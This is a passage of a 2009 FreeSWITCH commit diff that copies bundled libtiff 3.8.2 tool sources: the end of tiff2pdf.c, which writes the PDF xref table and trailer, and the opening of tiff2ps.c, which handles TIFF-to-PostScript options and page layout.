+						 (unsigned long)t2p->tiff_width);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				written += TIFFWriteFile(output, (tdata_t) " /Colors ", 9);
+				_TIFFmemset(buffer, 0x00, 16);
+				buflen=sprintf(buffer, "%u", t2p->tiff_samplesperpixel);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				written += TIFFWriteFile(output, (tdata_t) " /BitsPerComponent ", 19);
+				_TIFFmemset(buffer, 0x00, 16);
+				buflen=sprintf(buffer, "%u", t2p->tiff_bitspersample);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				written += TIFFWriteFile(output, (tdata_t) ">>\r", 3);
+			}
+			break;
+#endif
+		default:
+			break;
+	}
+
+	return(written);
+}
+
+/*
+	This function writes a PDF xref table to output.
+*/
+
+tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[21];
+	int buflen=0;
+	uint32 i=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "xref\r0 ", 7);
+	buflen=sprintf(buffer, "%lu", (unsigned long)(t2p->pdf_xrefcount + 1));
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " \r0000000000 65535 f\r\n", 22);
+	for (i=0;i<t2p->pdf_xrefcount;i++){
+		sprintf(buffer, "%.10lu 00000 n\r\n",
+			(unsigned long)t2p->pdf_xrefoffsets[i]);
+		written += TIFFWriteFile(output, (tdata_t) buffer, 20);
+	}
+
+	return(written);
+}
+
+/*
+ *	This function writes a PDF trailer to output.
+ */
+
+tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output)
+{
+
+	tsize_t written = 0;
+	char buffer[32];
+	int buflen = 0;
+	char fileidbuf[16];
+	int i = 0;
+
+	((int*)fileidbuf)[0] = rand();
+	((int*)fileidbuf)[1] = rand();
+	((int*)fileidbuf)[2] = rand();
+	((int*)fileidbuf)[3] = rand();
+	t2p->pdf_fileid = (char*)_TIFFmalloc(33);
+	if(t2p->pdf_fileid == NULL) {
+		TIFFError(
+			TIFF2PDF_MODULE, 
+		"Can't allocate %u bytes of memory for t2p_write_pdf_trailer", 
+			33 );
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	_TIFFmemset(t2p->pdf_fileid, 0x00, 33);
+	for (i=0; i<16; i++)
+		sprintf(&(t2p->pdf_fileid[2*i]), "%.2hhX", fileidbuf[i]);
+	written += TIFFWriteFile(output, (tdata_t) "trailer\r<<\r/Size ", 17);
+	buflen = sprintf(buffer, "%lu", (unsigned long)(t2p->pdf_xrefcount+1));
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	_TIFFmemset(buffer, 0x00, 32);	
+	written += TIFFWriteFile(output, (tdata_t) "\r/Root ", 7);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_catalog);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	_TIFFmemset(buffer, 0x00, 32);	
+	written += TIFFWriteFile(output, (tdata_t) " 0 R \r/Info ", 12);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_info);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	_TIFFmemset(buffer, 0x00, 32);	
+	written += TIFFWriteFile(output, (tdata_t) " 0 R \r/ID[<", 11);
+	written += TIFFWriteFile(output, (tdata_t) t2p->pdf_fileid, 32);
+	written += TIFFWriteFile(output, (tdata_t) "><", 2);
+	written += TIFFWriteFile(output, (tdata_t) t2p->pdf_fileid, 32);
+	written += TIFFWriteFile(output, (tdata_t) ">]\r>>\rstartxref\r", 16);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_startxref);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	_TIFFmemset(buffer, 0x00, 32);	
+	written += TIFFWriteFile(output, (tdata_t) "\r%%EOF\r", 7);
+
+	return(written);
+}
+ 
+/*
+
+  This function writes a PDF to a file given a pointer to a TIFF.
+
+  The idea with using a TIFF* as output for a PDF file is that the file 
+  can be created with TIFFClientOpen for memory-mapped use within the TIFF 
+  library, and TIFFWriteEncodedStrip can be used to write compressed data to 
+  the output.  The output is not actually a TIFF file, it is a PDF file.  
+
+  This function uses only TIFFWriteFile and TIFFWriteEncodedStrip to write to 
+  the output TIFF file.  When libtiff would otherwise be writing data to the 
+  output file, the write procedure of the TIFF structure is replaced with an 
+  empty implementation.
+
+  The first argument to the function is an initialized and validated T2P 
+  context struct pointer.
+
+  The second argument to the function is the TIFF* that is the input that has 
+  been opened for reading and no other functions have been called upon it.
+
+  The third argument to the function is the TIFF* that is the output that has 
+  been opened for writing.  It has to be opened so that it hasn't written any 
+  data to the output.  If the output is seekable then it's OK to seek to the 
+  beginning of the file.  The function only writes to the output PDF and does 
+  not seek.  See the example usage in the main() function.
+
+	TIFF* output = TIFFOpen("output.pdf", "w");
+	assert(output != NULL);
+
+	if(output->tif_seekproc != NULL){
+		TIFFSeekFile(output, (toff_t) 0, SEEK_SET);
+	}
+
+  This function returns the file size of the output PDF file.  On error it 
+  returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR.
+
+  After this function completes, call t2p_free on t2p, TIFFClose on input, 
+  and TIFFClose on output.
+*/
+
+tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){
+
+	tsize_t written=0;
+	ttile_t i2=0;
+	tsize_t streamlen=0;
+	uint16 i=0;
+
+	t2p_read_tiff_init(t2p, input);
+	if(t2p->t2p_error!=T2P_ERR_OK){return(0);}
+	t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(t2p->pdf_xrefcount * sizeof(uint32) );
+	if(t2p->pdf_xrefoffsets==NULL){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"Can't allocate %lu bytes of memory for t2p_write_pdf", 
+			t2p->pdf_xrefcount * sizeof(uint32) );
+		return(written);
+	}
+	t2p->pdf_xrefcount=0;
+	t2p->pdf_catalog=1;
+	t2p->pdf_info=2;
+	t2p->pdf_pages=3;
+	written += t2p_write_pdf_header(t2p, output);
+	t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+	t2p->pdf_catalog=t2p->pdf_xrefcount;
+	written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+	written += t2p_write_pdf_catalog(t2p, output);
+	written += t2p_write_pdf_obj_end(output);
+	t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+	t2p->pdf_info=t2p->pdf_xrefcount;
+	written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+	written += t2p_write_pdf_info(t2p, input, output);
+	written += t2p_write_pdf_obj_end(output);
+	t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+	t2p->pdf_pages=t2p->pdf_xrefcount;
+	written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+	written += t2p_write_pdf_pages(t2p, output);
+	written += t2p_write_pdf_obj_end(output);
+	for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){
+		t2p_read_tiff_data(t2p, input);
+		if(t2p->t2p_error!=T2P_ERR_OK){return(0);}
+		t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+		written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+		written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output);
+		written += t2p_write_pdf_obj_end(output);
+		t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+		written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+		written += t2p_write_pdf_stream_dict_start(output);
+		written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output);
+		written += t2p_write_pdf_stream_dict_end(output);
+		written += t2p_write_pdf_stream_start(output);
+		streamlen=written;
+		written += t2p_write_pdf_page_content_stream(t2p, output);
+		streamlen=written-streamlen;
+		written += t2p_write_pdf_stream_end(output);
+		written += t2p_write_pdf_obj_end(output);
+		t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+		written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+		written += t2p_write_pdf_stream_length(streamlen, output);
+		written += t2p_write_pdf_obj_end(output);
+		if(t2p->tiff_transferfunctioncount != 0){
+			t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+			written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+			written += t2p_write_pdf_transfer(t2p, output);
+			written += t2p_write_pdf_obj_end(output);
+			for(i=0; i < t2p->tiff_transferfunctioncount; i++){
+				t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+				written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+				written += t2p_write_pdf_stream_dict_start(output);
+				written += t2p_write_pdf_transfer_dict(t2p, output, i);
+				written += t2p_write_pdf_stream_dict_end(output);
+				written += t2p_write_pdf_stream_start(output);
+				streamlen=written;
+				written += t2p_write_pdf_transfer_stream(t2p, output, i);
+				streamlen=written-streamlen;
+				written += t2p_write_pdf_stream_end(output);
+				written += t2p_write_pdf_obj_end(output);
+			}
+		}
+		if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){
+			t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+			t2p->pdf_palettecs=t2p->pdf_xrefcount;
+			written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+			written += t2p_write_pdf_stream_dict_start(output);
+			written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output);
+			written += t2p_write_pdf_stream_dict_end(output);
+			written += t2p_write_pdf_stream_start(output);
+			streamlen=written;
+			written += t2p_write_pdf_xobject_palettecs_stream(t2p, output);
+			streamlen=written-streamlen;
+			written += t2p_write_pdf_stream_end(output);
+			written += t2p_write_pdf_obj_end(output);
+		}
+		if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){
+			t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+			t2p->pdf_icccs=t2p->pdf_xrefcount;
+			written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+			written += t2p_write_pdf_stream_dict_start(output);
+			written += t2p_write_pdf_xobject_icccs_dict(t2p, output);
+			written += t2p_write_pdf_stream_dict_end(output);
+			written += t2p_write_pdf_stream_start(output);
+			streamlen=written;
+			written += t2p_write_pdf_xobject_icccs_stream(t2p, output);
+			streamlen=written-streamlen;
+			written += t2p_write_pdf_stream_end(output);
+			written += t2p_write_pdf_obj_end(output);
+		}
+		if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){
+			for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){
+				t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+				written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+				written += t2p_write_pdf_stream_dict_start(output);
+				written += t2p_write_pdf_xobject_stream_dict(
+					i2+1, 
+					t2p, 
+					output);
+				written += t2p_write_pdf_stream_dict_end(output);
+				written += t2p_write_pdf_stream_start(output);
+				streamlen=written;
+				t2p_read_tiff_size_tile(t2p, input, i2);
+				written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2);
+				t2p_write_advance_directory(t2p, output);
+				if(t2p->t2p_error!=T2P_ERR_OK){return(0);}
+				streamlen=written-streamlen;
+				written += t2p_write_pdf_stream_end(output);
+				written += t2p_write_pdf_obj_end(output);
+				t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+				written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+				written += t2p_write_pdf_stream_length(streamlen, output);
+				written += t2p_write_pdf_obj_end(output);
+			}
+		} else {
+			t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+			written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+			written += t2p_write_pdf_stream_dict_start(output);
+			written += t2p_write_pdf_xobject_stream_dict(
+				0, 
+				t2p, 
+				output);
+			written += t2p_write_pdf_stream_dict_end(output);
+			written += t2p_write_pdf_stream_start(output);
+			streamlen=written;
+			t2p_read_tiff_size(t2p, input);
+			written += t2p_readwrite_pdf_image(t2p, input, output);
+			t2p_write_advance_directory(t2p, output);
+			if(t2p->t2p_error!=T2P_ERR_OK){return(0);}
+			streamlen=written-streamlen;
+			written += t2p_write_pdf_stream_end(output);
+			written += t2p_write_pdf_obj_end(output);
+			t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written;
+			written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output);
+			written += t2p_write_pdf_stream_length(streamlen, output);
+			written += t2p_write_pdf_obj_end(output);
+		}
+	}
+	t2p->pdf_startxref=written;
+	written += t2p_write_pdf_xreftable(t2p, output);
+	written += t2p_write_pdf_trailer(t2p, output);
+	t2p->tiff_writeproc=output->tif_writeproc;
+	output->tif_writeproc=t2p_empty_writeproc;
+
+	return(written);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2ps.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2ps.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiff2ps.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2ps.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2ps.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2100 @@
+/* $Id: tiff2ps.c,v 1.35 2006/02/23 14:50:32 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>			/* for atof */
+#include <math.h>
+#include <time.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+/*
+ * Revision history
+ *
+ * 2001-Mar-21
+ *    I (Bruce A. Mallett) added this revision history comment ;)
+ *
+ *    Fixed PS_Lvl2page() code which outputs non-ASCII85 raw
+ *    data.  Moved test for when to output a line break to
+ *    *after* the output of a character.  This just serves
+ *    to fix an eye-nuisance where the first line of raw
+ *    data was one character shorter than subsequent lines.
+ *
+ *    Added an experimental ASCII85 encoder which can be used
+ *    only when there is a single buffer of bytes to be encoded.
+ *    This version is much faster at encoding a straight-line
+ *    buffer of data because it can avoid alot of the loop
+ *    overhead of the byte-by-bye version.  To use this version
+ *    you need to define EXP_ASCII85ENCODER (experimental ...).
+ *
+ *    Added bug fix given by Michael Schmidt to PS_Lvl2page()
+ *    in which an end-of-data marker ('>') was not being output
+ *    when producing non-ASCII85 encoded PostScript Level 2
+ *    data.
+ *
+ *    Fixed PS_Lvl2colorspace() so that it no longer assumes that
+ *    a TIFF having more than 2 planes is a CMYK.  This routine
+ *    no longer looks at the samples per pixel but instead looks
+ *    at the "photometric" value.  This change allows support of
+ *    CMYK TIFFs.
+ *
+ *    Modified the PostScript L2 imaging loop so as to test if
+ *    the input stream is still open before attempting to do a
+ *    flushfile on it.  This was done because some RIPs close
+ *    the stream after doing the image operation.
+ *
+ *    Got rid of the realloc() being done inside a loop in the
+ *    PSRawDataBW() routine.  The code now walks through the
+ *    byte-size array outside the loop to determine the largest
+ *    size memory block that will be needed.
+ *
+ *    Added "-m" switch to ask tiff2ps to, where possible, use the
+ *    "imagemask" operator instead of the "image" operator.
+ *
+ *    Added the "-i #" switch to allow interpolation to be disabled.
+ *
+ *    Unrolled a loop or two to improve performance.
+ */
+
+/*
+ * Define EXP_ASCII85ENCODER if you want to use an experimental
+ * version of the ASCII85 encoding routine.  The advantage of
+ * using this routine is that tiff2ps will convert to ASCII85
+ * encoding at between 3 and 4 times the speed as compared to
+ * using the old (non-experimental) encoder.  The disadvantage
+ * is that you will be using a new (and unproven) encoding
+ * routine.  So user beware, you have been warned!
+ */
+
+#define	EXP_ASCII85ENCODER
+
+/*
+ * NB: this code assumes uint32 works with printf's %l[ud].
+ */
+#ifndef TRUE
+#define	TRUE	1
+#define	FALSE	0
+#endif
+
+int	ascii85 = FALSE;		/* use ASCII85 encoding */
+int	interpolate = TRUE;		/* interpolate level2 image */
+int	level2 = FALSE;			/* generate PostScript level 2 */
+int	level3 = FALSE;			/* generate PostScript level 3 */
+int	printAll = FALSE;		/* print all images in file */
+int	generateEPSF = TRUE;		/* generate Encapsulated PostScript */
+int	PSduplex = FALSE;		/* enable duplex printing */
+int	PStumble = FALSE;		/* enable top edge binding */
+int	PSavoiddeadzone = TRUE;		/* enable avoiding printer deadzone */
+double	maxPageHeight = 0;		/* maximum size to fit on page */
+double	splitOverlap = 0;		/* amount for split pages to overlag */
+int	rotate = FALSE;			/* rotate image by 180 degrees */
+char	*filename;			/* input filename */
+int	useImagemask = FALSE;		/* Use imagemask instead of image operator */
+uint16	res_unit = 0;			/* Resolution units: 2 - inches, 3 - cm */
+
+/*
+ * ASCII85 Encoding Support.
+ */
+unsigned char ascii85buf[10];
+int	ascii85count;
+int	ascii85breaklen;
+
+int	TIFF2PS(FILE*, TIFF*, double, double, double, double, int);
+void	PSpage(FILE*, TIFF*, uint32, uint32);
+void	PSColorContigPreamble(FILE*, uint32, uint32, int);
+void	PSColorSeparatePreamble(FILE*, uint32, uint32, int);
+void	PSDataColorContig(FILE*, TIFF*, uint32, uint32, int);
+void	PSDataColorSeparate(FILE*, TIFF*, uint32, uint32, int);
+void	PSDataPalette(FILE*, TIFF*, uint32, uint32);
+void	PSDataBW(FILE*, TIFF*, uint32, uint32);
+void	PSRawDataBW(FILE*, TIFF*, uint32, uint32);
+void	Ascii85Init(void);
+void	Ascii85Put(unsigned char code, FILE* fd);
+void	Ascii85Flush(FILE* fd);
+void    PSHead(FILE*, TIFF*, uint32, uint32, double, double, double, double);
+void	PSTail(FILE*, int);
+
+#if	defined( EXP_ASCII85ENCODER)
+int Ascii85EncodeBlock( uint8 * ascii85_p, unsigned f_eod, const uint8 * raw_p, int raw_l );
+#endif
+
+static	void usage(int);
+
+int
+main(int argc, char* argv[])
+{
+	int dirnum = -1, c, np = 0;
+	int centered = 0;
+	double bottommargin = 0;
+	double leftmargin = 0;
+	double pageWidth = 0;
+	double pageHeight = 0;
+	uint32 diroff = 0;
+	extern char *optarg;
+	extern int optind;
+	FILE* output = stdout;
+
+	while ((c = getopt(argc, argv, "b:d:h:H:L:i:w:l:o:O:acelmrxyzps1238DT")) != -1)
+		switch (c) {
+		case 'b':
+			bottommargin = atof(optarg);
+			break;
+		case 'c':
+			centered = 1;
+			break;
+		case 'd':
+			dirnum = atoi(optarg);
+			break;
+		case 'D':
+			PSduplex = TRUE;
+			break;
+		case 'i':
+			interpolate = atoi(optarg) ? TRUE:FALSE;
+			break;
+		case 'T':
+			PStumble = TRUE;
+			break;
+		case 'e':
+			PSavoiddeadzone = FALSE;
+			generateEPSF = TRUE;
+			break;
+		case 'h':
+			pageHeight = atof(optarg);
+			break;
+		case 'H':
+			maxPageHeight = atof(optarg);
+			if (pageHeight==0) pageHeight = maxPageHeight;
+			break;
+		case 'L':
+			splitOverlap = atof(optarg);
+			break;
+		case 'm':
+			useImagemask = TRUE;
+			break;
+		case 'o':
+			diroff = (uint32) strtoul(optarg, NULL, 0);
+			break;
+		case 'O':		/* XXX too bad -o is already taken */
+			output = fopen(optarg, "w");
+			if (output == NULL) {
+				fprintf(stderr,
+				    "%s: %s: Cannot open output file.\n",
+				    argv[0], optarg);
+				exit(-2);
+			}
+			break;
+		case 'l':
+			leftmargin = atof(optarg);
+			break;
+		case 'a':
+			printAll = TRUE;
+			/* fall thru... */
+		case 'p':
+			generateEPSF = FALSE;
+			break;
+		case 'r':
+			rotate = TRUE;
+			break;
+		case 's':
+			printAll = FALSE;
+			break;
+		case 'w':
+			pageWidth = atof(optarg);
+			break;
+		case 'z':
+			PSavoiddeadzone = FALSE;
+			break;
+		case '1':
+			level2 = FALSE;
+			level3 = FALSE;
+			ascii85 = FALSE;
+			break;
+		case '2':
+			level2 = TRUE;
+			ascii85 = TRUE;			/* default to yes */
+			break;
+		case '3':
+			level3 = TRUE;
+			ascii85 = TRUE;			/* default to yes */
+			break;
+		case '8':
+			ascii85 = FALSE;
+			break;
+		case 'x':
+			res_unit = RESUNIT_CENTIMETER;
+			break;
+		case 'y':
+			res_unit = RESUNIT_INCH;
+			break;
+		case '?':
+			usage(-1);
+		}
+	for (; argc - optind > 0; optind++) {
+		TIFF* tif = TIFFOpen(filename = argv[optind], "r");
+		if (tif != NULL) {
+			if (dirnum != -1
+                            && !TIFFSetDirectory(tif, (tdir_t)dirnum))
+				return (-1);
+			else if (diroff != 0 &&
+			    !TIFFSetSubDirectory(tif, diroff))
+				return (-1);
+			np = TIFF2PS(output, tif, pageWidth, pageHeight,
+				leftmargin, bottommargin, centered);
+			TIFFClose(tif);
+		}
+	}
+	if (np)
+		PSTail(output, np);
+	else
+		usage(-1);
+	if (output != stdout)
+		fclose(output);
+	return (0);
+}
+
+static	uint16 samplesperpixel;
+static	uint16 bitspersample;
+static	uint16 planarconfiguration;
+static	uint16 photometric;
+static	uint16 compression;
+static	uint16 extrasamples;
+static	int alpha;
+
+static int
+checkImage(TIFF* tif)
+{
+	switch (photometric) {
+	case PHOTOMETRIC_YCBCR:
+		if ((compression == COMPRESSION_JPEG || compression == COMPRESSION_OJPEG)
+			&& planarconfiguration == PLANARCONFIG_CONTIG) {
+			/* can rely on libjpeg to convert to RGB */
+			TIFFSetField(tif, TIFFTAG_JPEGCOLORMODE,
+				     JPEGCOLORMODE_RGB);
+			photometric = PHOTOMETRIC_RGB;
+		} else {
+			if (level2 || level3)
+				break;
+			TIFFError(filename, "Can not handle image with %s",
+			    "PhotometricInterpretation=YCbCr");
+			return (0);
+		}
+		/* fall thru... */
+	case PHOTOMETRIC_RGB:
+		if (alpha && bitspersample != 8) {
+			TIFFError(filename,
+			    "Can not handle %d-bit/sample RGB image with alpha",
+			    bitspersample);
+			return (0);
+		}
+		/* fall thru... */
+	case PHOTOMETRIC_SEPARATED:
+	case PHOTOMETRIC_PALETTE:
+	case PHOTOMETRIC_MINISBLACK:
+	case PHOTOMETRIC_MINISWHITE:
+		break;
+	case PHOTOMETRIC_LOGL:
+	case PHOTOMETRIC_LOGLUV:
+		if (compression != COMPRESSION_SGILOG &&
+		    compression != COMPRESSION_SGILOG24) {
+			TIFFError(filename,
+		    "Can not handle %s data with compression other than SGILog",
+			    (photometric == PHOTOMETRIC_LOGL) ?
+				"LogL" : "LogLuv"
+			);
+			return (0);
+		}
+		/* rely on library to convert to RGB/greyscale */
+		TIFFSetField(tif, TIFFTAG_SGILOGDATAFMT, SGILOGDATAFMT_8BIT);
+		photometric = (photometric == PHOTOMETRIC_LOGL) ?
+		    PHOTOMETRIC_MINISBLACK : PHOTOMETRIC_RGB;
+		bitspersample = 8;
+		break;
+	case PHOTOMETRIC_CIELAB:
+		/* fall thru... */
+	default:
+		TIFFError(filename,
+		    "Can not handle image with PhotometricInterpretation=%d",
+		    photometric);
+		return (0);
+	}
+	switch (bitspersample) {
+	case 1: case 2:
+	case 4: case 8:
+		break;
+	default:
+		TIFFError(filename, "Can not handle %d-bit/sample image",
+		    bitspersample);
+		return (0);
+	}
+	if (planarconfiguration == PLANARCONFIG_SEPARATE && extrasamples > 0)
+		TIFFWarning(filename, "Ignoring extra samples");
+	return (1);
+}
+
+#define PS_UNIT_SIZE	72.0F
+#define	PSUNITS(npix,res)	((npix) * (PS_UNIT_SIZE / (res)))
+
+static	char RGBcolorimage[] = "\
+/bwproc {\n\
+    rgbproc\n\
+    dup length 3 idiv string 0 3 0\n\
+    5 -1 roll {\n\
+	add 2 1 roll 1 sub dup 0 eq {\n\
+	    pop 3 idiv\n\
+	    3 -1 roll\n\
+	    dup 4 -1 roll\n\
+	    dup 3 1 roll\n\
+	    5 -1 roll put\n\
+	    1 add 3 0\n\
+	} { 2 1 roll } ifelse\n\
+    } forall\n\
+    pop pop pop\n\
+} def\n\
+/colorimage where {pop} {\n\
+    /colorimage {pop pop /rgbproc exch def {bwproc} image} bind def\n\
+} ifelse\n\
+";
+
+/*
+ * Adobe Photoshop requires a comment line of the form:
+ *
+ * %ImageData: <cols> <rows> <depth>  <main channels> <pad channels>
+ *	<block size> <1 for binary|2 for hex> "data start"
+ *
+ * It is claimed to be part of some future revision of the EPS spec.
+ */
+static void
+PhotoshopBanner(FILE* fd, uint32 w, uint32 h, int bs, int nc, char* startline)
+{
+	fprintf(fd, "%%ImageData: %ld %ld %d %d 0 %d 2 \"",
+	    (long) w, (long) h, bitspersample, nc, bs);
+	fprintf(fd, startline, nc);
+	fprintf(fd, "\"\n");
+}
+
+/*
+ *   pw : image width in pixels
+ *   ph : image height in pixels
+ * pprw : image width in PS units (72 dpi)
+ * pprh : image height in PS units (72 dpi)
+ */
+static void
+setupPageState(TIFF* tif, uint32* pw, uint32* ph, double* pprw, double* pprh)
+{
+	float xres = 0.0F, yres = 0.0F;
+
+	TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, pw);
+	TIFFGetField(tif, TIFFTAG_IMAGELENGTH, ph);
+	if (res_unit == 0)
+		TIFFGetFieldDefaulted(tif, TIFFTAG_RESOLUTIONUNIT, &res_unit);
+	/*
+	 * Calculate printable area.
+	 */
+	if (!TIFFGetField(tif, TIFFTAG_XRESOLUTION, &xres)
+            || fabs(xres) < 0.0000001)
+		xres = PS_UNIT_SIZE;
+	if (!TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres)
+            || fabs(yres) < 0.0000001)
+		yres = PS_UNIT_SIZE;
+	switch (res_unit) {
+	case RESUNIT_CENTIMETER:
+		xres *= 2.54F, yres *= 2.54F;
+		break;
+	case RESUNIT_INCH:
+		break;
+	case RESUNIT_NONE:
+	default:
+		xres *= PS_UNIT_SIZE, yres *= PS_UNIT_SIZE;
+		break;
+	}
+	*pprh = PSUNITS(*ph, yres);
+	*pprw = PSUNITS(*pw, xres);
+}
+
+static int
+isCCITTCompression(TIFF* tif)
+{
+    uint16 compress;
+    TIFFGetField(tif, TIFFTAG_COMPRESSION, &compress);
+    return (compress == COMPRESSION_CCITTFAX3 ||
+	    compress == COMPRESSION_CCITTFAX4 ||
+	    compress == COMPRESSION_CCITTRLE ||
+	    compress == COMPRESSION_CCITTRLEW);
+}
+
+static	tsize_t tf_bytesperrow;
+static	tsize_t ps_bytesperrow;
+static	tsize_t	tf_rowsperstrip;
+static	tsize_t	tf_numberstrips;
+static	char *hex = "0123456789abcdef";
+
+/*
+ * imagewidth & imageheight are 1/72 inches
+ * pagewidth & pageheight are inches
+ */
+int
+PlaceImage(FILE *fp, double pagewidth, double pageheight,
+	   double imagewidth, double imageheight, int splitpage,
+	   double lm, double bm, int cnt)
+{
+	double xtran = 0;
+	double ytran = 0;
+	double xscale = 1;
+	double yscale = 1;
+	double left_offset = lm * PS_UNIT_SIZE;
+	double bottom_offset = bm * PS_UNIT_SIZE;
+	double subimageheight;
+	double splitheight;
+	double overlap;
+
+	pagewidth *= PS_UNIT_SIZE;
+	pageheight *= PS_UNIT_SIZE;
+
+	if (maxPageHeight==0)
+		splitheight = 0;
+	else
+		splitheight = maxPageHeight * PS_UNIT_SIZE;
+	overlap = splitOverlap * PS_UNIT_SIZE;
+
+	/*
+	 * WIDTH:
+	 *      if too wide, scrunch to fit
+	 *      else leave it alone
+	 */
+	if (imagewidth <= pagewidth) {
+		xscale = imagewidth;
+	} else {
+		xscale = pagewidth;
+	}
+
+	/* HEIGHT:
+	 *      if too long, scrunch to fit
+	 *      if too short, move to top of page
+	 */
+	if (imageheight <= pageheight) {
+		yscale = imageheight;
+		ytran = pageheight - imageheight;
+	} else if (imageheight > pageheight &&
+		(splitheight == 0 || imageheight <= splitheight)) {
+		yscale = pageheight;
+	} else /* imageheight > splitheight */ {
+		subimageheight = imageheight - (pageheight-overlap)*splitpage;
+		if (subimageheight <= pageheight) {
+			yscale = imageheight;
+			ytran = pageheight - subimageheight;
+			splitpage = 0;
+		} else if ( subimageheight > pageheight && subimageheight <= splitheight) {
+			yscale = imageheight * pageheight / subimageheight;
+			ytran = 0;
+			splitpage = 0;
+		} else /* sumimageheight > splitheight */ {
+			yscale = imageheight;
+			ytran = pageheight - subimageheight;
+			splitpage++;
+		}
+	}
+	
+	bottom_offset += ytran / (cnt?2:1);
+	if (cnt)
